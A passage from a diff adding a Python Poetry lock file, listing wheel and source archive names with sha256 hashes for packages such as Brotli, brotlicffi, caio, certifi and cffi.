+ {file = "Brotli-1.0.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3b78a24b5fd13c03ee2b7b86290ed20efdc95da75a3557cc06811764d5ad1126"},
+ {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:9d12cf2851759b8de8ca5fde36a59c08210a97ffca0eb94c532ce7b17c6a3d1d"},
+ {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:6c772d6c0a79ac0f414a9f8947cc407e119b8598de7621f39cacadae3cf57d12"},
+ {file = "Brotli-1.0.9-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29d1d350178e5225397e28ea1b7aca3648fcbab546d20e7475805437bfb0a130"},
+ {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7bbff90b63328013e1e8cb50650ae0b9bac54ffb4be6104378490193cd60f85a"},
+ {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:ec1947eabbaf8e0531e8e899fc1d9876c179fc518989461f5d24e2223395a9e3"},
+ {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:12effe280b8ebfd389022aa65114e30407540ccb89b177d3fbc9a4f177c4bd5d"},
+ {file = "Brotli-1.0.9-cp37-cp37m-win32.whl", hash = "sha256:f909bbbc433048b499cb9db9e713b5d8d949e8c109a2a548502fb9aa8630f0b1"},
+ {file = "Brotli-1.0.9-cp37-cp37m-win_amd64.whl", hash = "sha256:97f715cf371b16ac88b8c19da00029804e20e25f30d80203417255d239f228b5"},
+ {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e16eb9541f3dd1a3e92b89005e37b1257b157b7256df0e36bd7b33b50be73bcb"},
+ {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:160c78292e98d21e73a4cc7f76a234390e516afcd982fa17e1422f7c6a9ce9c8"},
+ {file = "Brotli-1.0.9-cp38-cp38-manylinux1_i686.whl", hash = "sha256:b663f1e02de5d0573610756398e44c130add0eb9a3fc912a09665332942a2efb"},
+ {file = "Brotli-1.0.9-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:5b6ef7d9f9c38292df3690fe3e302b5b530999fa90014853dcd0d6902fb59f26"},
+ {file = "Brotli-1.0.9-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a674ac10e0a87b683f4fa2b6fa41090edfd686a6524bd8dedbd6138b309175c"},
+ {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e2d9e1cbc1b25e22000328702b014227737756f4b5bf5c485ac1d8091ada078b"},
+ {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b336c5e9cf03c7be40c47b5fd694c43c9f1358a80ba384a21969e0b4e66a9b17"},
+ {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:85f7912459c67eaab2fb854ed2bc1cc25772b300545fe7ed2dc03954da638649"},
+ {file = "Brotli-1.0.9-cp38-cp38-win32.whl", hash = "sha256:35a3edbe18e876e596553c4007a087f8bcfd538f19bc116917b3c7522fca0429"},
+ {file = "Brotli-1.0.9-cp38-cp38-win_amd64.whl", hash = "sha256:269a5743a393c65db46a7bb982644c67ecba4b8d91b392403ad8a861ba6f495f"},
+ {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2aad0e0baa04517741c9bb5b07586c642302e5fb3e75319cb62087bd0995ab19"},
+ {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5cb1e18167792d7d21e21365d7650b72d5081ed476123ff7b8cac7f45189c0c7"},
+ {file = "Brotli-1.0.9-cp39-cp39-manylinux1_i686.whl", hash = "sha256:16d528a45c2e1909c2798f27f7bf0a3feec1dc9e50948e738b961618e38b6a7b"},
+ {file = "Brotli-1.0.9-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:56d027eace784738457437df7331965473f2c0da2c70e1a1f6fdbae5402e0389"},
+ {file = "Brotli-1.0.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bf919756d25e4114ace16a8ce91eb340eb57a08e2c6950c3cebcbe3dff2a5e7"},
+ {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:e4c4e92c14a57c9bd4cb4be678c25369bf7a092d55fd0866f759e425b9660806"},
+ {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:e48f4234f2469ed012a98f4b7874e7f7e173c167bed4934912a29e03167cf6b1"},
+ {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9ed4c92a0665002ff8ea852353aeb60d9141eb04109e88928026d3c8a9e5433c"},
+ {file = "Brotli-1.0.9-cp39-cp39-win32.whl", hash = "sha256:cfc391f4429ee0a9370aa93d812a52e1fee0f37a81861f4fdd1f4fb28e8547c3"},
+ {file = "Brotli-1.0.9-cp39-cp39-win_amd64.whl", hash = "sha256:854c33dad5ba0fbd6ab69185fec8dab89e13cda6b7d191ba111987df74f38761"},
+ {file = "Brotli-1.0.9-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9749a124280a0ada4187a6cfd1ffd35c350fb3af79c706589d98e088c5044267"},
+ {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:73fd30d4ce0ea48010564ccee1a26bfe39323fde05cb34b5863455629db61dc7"},
+ {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02177603aaca36e1fd21b091cb742bb3b305a569e2402f1ca38af471777fb019"},
+ {file = "Brotli-1.0.9-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:76ffebb907bec09ff511bb3acc077695e2c32bc2142819491579a695f77ffd4d"},
+ {file = "Brotli-1.0.9-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b43775532a5904bc938f9c15b77c613cb6ad6fb30990f3b0afaea82797a402d8"},
+ {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5bf37a08493232fbb0f8229f1824b366c2fc1d02d64e7e918af40acd15f3e337"},
+ {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:330e3f10cd01da535c70d09c4283ba2df5fb78e915bea0a28becad6e2ac010be"},
+ {file = "Brotli-1.0.9-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e1abbeef02962596548382e393f56e4c94acd286bd0c5afba756cffc33670e8a"},
+ {file = "Brotli-1.0.9-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3148362937217b7072cf80a2dcc007f09bb5ecb96dae4617316638194113d5be"},
+ {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:336b40348269f9b91268378de5ff44dc6fbaa2268194f85177b53463d313842a"},
+ {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3b8b09a16a1950b9ef495a0f8b9d0a87599a9d1f179e2d4ac014b2ec831f87e7"},
+ {file = "Brotli-1.0.9-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c8e521a0ce7cf690ca84b8cc2272ddaf9d8a50294fd086da67e517439614c755"},
+ {file = "Brotli-1.0.9.zip", hash = "sha256:4d1b810aa0ed773f81dceda2cc7b403d01057458730e309856356d4ef4188438"},
+]
+
+[[package]]
+name = "brotlicffi"
+version = "1.0.9.2"
+description = "Python CFFI bindings to the Brotli library"
+optional = false
+python-versions = "*"
+files = [
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:408ec4359f9763280d5c4e0ad29c51d1240b25fdd18719067e972163b4125b98"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:2e4629f7690ded66c8818715c6d4dd6a7ff6a4f10fad6186fe99850f781ce210"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:137c4635edcdf593de5ce9d0daa596bf499591b16b8fca5fd72a490deb54b2ee"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:af8a1b7bcfccf9c41a3c8654994d6a81821fdfe4caddcfe5045bfda936546ca3"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9078432af4785f35ab3840587eed7fb131e3fc77eb2a739282b649b343c584dd"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7bb913d5bf3b4ce2ec59872711dc9faaff5f320c3c3827cada2d8a7b793a7753"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:16a0c9392a1059e2e62839fbd037d2e7e03c8ae5da65e9746f582464f7fab1bb"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:94d2810efc5723f1447b332223b197466190518a3eeca93b9f357efb5b22c6dc"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:9e70f3e20f317d70912b10dbec48b29114d3dbd0e9d88475cb328e6c086f0546"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:586f0ea3c2eed455d5f2330b9ab4a591514c8de0ee53d445645efcfbf053c69f"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_i686.whl", hash = "sha256:4454c3baedc277fd6e65f983e3eb8e77f4bc15060f69370a0201746e2edeca81"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:52c1c12dad6eb1d44213a0a76acf5f18f64653bd801300bef5e2f983405bdde5"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:21cd400d24b344c218d8e32b394849e31b7c15784667575dbda9f65c46a64b0a"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:71061f8bc86335b652e442260c4367b782a92c6e295cf5a10eff84c7d19d8cf5"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:15e0db52c56056be6310fc116b3d7c6f34185594e261f23790b2fb6489998363"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-win32.whl", hash = "sha256:551305703d12a2dd1ae43d3dde35dee20b1cb49b5796279d4d34e2c6aec6be4d"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-win_amd64.whl", hash = "sha256:2be4fb8a7cb482f226af686cd06d2a2cab164ccdf99e460f8e3a5ec9a5337da2"},
+ {file = "brotlicffi-1.0.9.2-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:8e7221d8a084d32d15c7b58e0ce0573972375c5038423dbe83f217cfe512e680"},
+ {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:75a46bc5ed2753e1648cc211dcb2c1ac66116038766822dc104023f67ff4dfd8"},
+ {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1e27c43ef72a278f9739b12b2df80ee72048cd4cbe498f8bbe08aaaa67a5d5c8"},
+ {file = "brotlicffi-1.0.9.2-pp27-pypy_73-win32.whl", hash = "sha256:feb942814285bdc5e97efc77a04e48283c17dfab9ea082d79c0a7b9e53ef1eab"},
+ {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a6208d82c3172eeeb3be83ed4efd5831552c7cd47576468e50fcf0fb23fcf97f"},
+ {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:408c810c599786fb806556ff17e844a903884e6370ca400bcec7fa286149f39c"},
+ {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:a73099858ee343e8801710a08be8d194f47715ff21e98d92a19ac461058f52d1"},
+ {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:916b790f967a18a595e61f218c252f83718ac91f24157d622cf0fa710cd26ab7"},
+ {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ba4a00263af40e875ec3d6c7f623cbf8c795b55705da18c64ec36b6bf0848bc5"},
+ {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux1_x86_64.whl", hash = "sha256:df78aa47741122b0d5463f1208b7bb18bc9706dee5152d9f56e0ead4865015cd"},
+ {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:9030cd5099252d16bfa4e22659c84a89c102e94f8e81d30764788b72e2d7cfb7"},
+ {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-win32.whl", hash = "sha256:7e72978f4090a161885b114f87b784f538dcb77dafc6602592c1cf39ae8d243d"},
+ {file = "brotlicffi-1.0.9.2.tar.gz", hash = "sha256:0c248a68129d8fc6a217767406c731e498c3e19a7be05ea0a90c3c86637b7d96"},
+]
+
+[package.dependencies]
+cffi = ">=1.0.0"
+
+[[package]]
+name = "caio"
+version = "0.9.12"
+description = "Asynchronous file IO for Linux MacOS or Windows."
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "caio-0.9.12-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:df395e7e1c2025b3f32dbeff20a8b6491959fac8fbd5a9c2d452bf1f5c0ca2bf"},
+ {file = "caio-0.9.12-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:acd31b7828c6683bc46e467a32359f08c686d4c25a7e645c029a07c36685fea7"},
+ {file = "caio-0.9.12-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0b7ffb561ca5c24e7f080aaa73ebb143ae659bd69645a748b332762c389349f"},
+ {file = "caio-0.9.12-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6285d772ae3a55e758b1bd3bc34f095757e4af45dcc30a183becf9bbdead8ced"},
+ {file = "caio-0.9.12-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:18df0caecfaa90ab9ac84ff71975fcf2342554b6f65ef69049337204b8b5af42"},
+ {file = "caio-0.9.12-cp311-cp311-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e569b83e9b41d12e094190d0e1a546610829a65609f429a1845e3250d4c5804"},
+ {file = "caio-0.9.12-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7833f81f58e76a3585ff59813e63fa278731c8d26fefe52ae12e783d38c8faea"},
+ {file = "caio-0.9.12-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:aa1dab77aca0b2672b9a364f14a03e764c5d811c0ae1395f661a2b8f6723f958"},
+ {file = "caio-0.9.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f366c595eda130a184f372d458d647b0ac879a46e872757648d4e29b6cea12ad"},
+ {file = "caio-0.9.12-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2759fe1957d0effb3bc38b3508b20fa37610bff9005f3926f570e6c06e901567"},
+ {file = "caio-0.9.12-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e65060717e27c702cd76a90be33250cae46be32a3009781ce382c8675fa7551"},
+ {file = "caio-0.9.12-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:a8204c6a7ea3c96057abba3da1690190b3cae0c3f03d81e9b5e3c99978b5bb6e"},
+ {file = "caio-0.9.12-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:820bb3ef23ce0d4096f822a8fea97ff2c239dd0351fa588801d2de627df9ab98"},
+ {file = "caio-0.9.12-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9a27973a03c777934decd577be577a61a188bee72272b3dc37a7cbc5eedf91"},
+ {file = "caio-0.9.12-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d6b424644ac37ce84f9dd99757d29e7cff01018d3b31f8ec0a38f2d5216165c"},
+ {file = "caio-0.9.12-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:15192a28e054cd591489af82f4b1093f15338eb201a2399a337461ff0bbd9fc9"},
+ {file = "caio-0.9.12-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:55317d2c90479a58108cfbd6816b85e584e61c48b42269c55f69cf4443857068"},
+ {file = "caio-0.9.12-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b18318d04cad7ef985fc2fb86d43f866ba34c1ee3445385f2370d6f843c05c69"},
+ {file = "caio-0.9.12-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73c20d8fc7dfb140b7d57e69e6f17e1637d2ac4a9ebe0f5f8c94b56f87c5c087"},
+ {file = "caio-0.9.12-py3-none-any.whl", hash = "sha256:b81b3271478e91f18e7ac1f3e4f914ba0924364857ba8e27f03b9d0aea915ca8"},
+ {file = "caio-0.9.12.tar.gz", hash = "sha256:d2be553738dd793f8a01a60316f2c5284fbf152219241c0c67ca05f650a37a37"},
+]
+
+[package.extras]
+develop = ["aiomisc-pytest", "pytest", "pytest-cov"]
+
+[[package]]
+name = "certifi"
+version = "2023.5.7"
+description = "Python package for providing Mozilla's CA Bundle."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"},
+ {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"},
+]
+
+[[package]]
+name = "cffi"
+version = "1.15.1"
+description = "Foreign Function Interface for Python calling C code."
+optional = false
+python-versions = "*"
+files = [
+ {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"},
+ {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"},
+ {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"},
+ {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"},
+ {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"},
+ {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"},
+ {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"},
+ {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"},
+ {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"},
+ {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"},
+ {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"},
+ {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"},
+ {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"},
+ {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"},
+ {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"},
+ {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"},
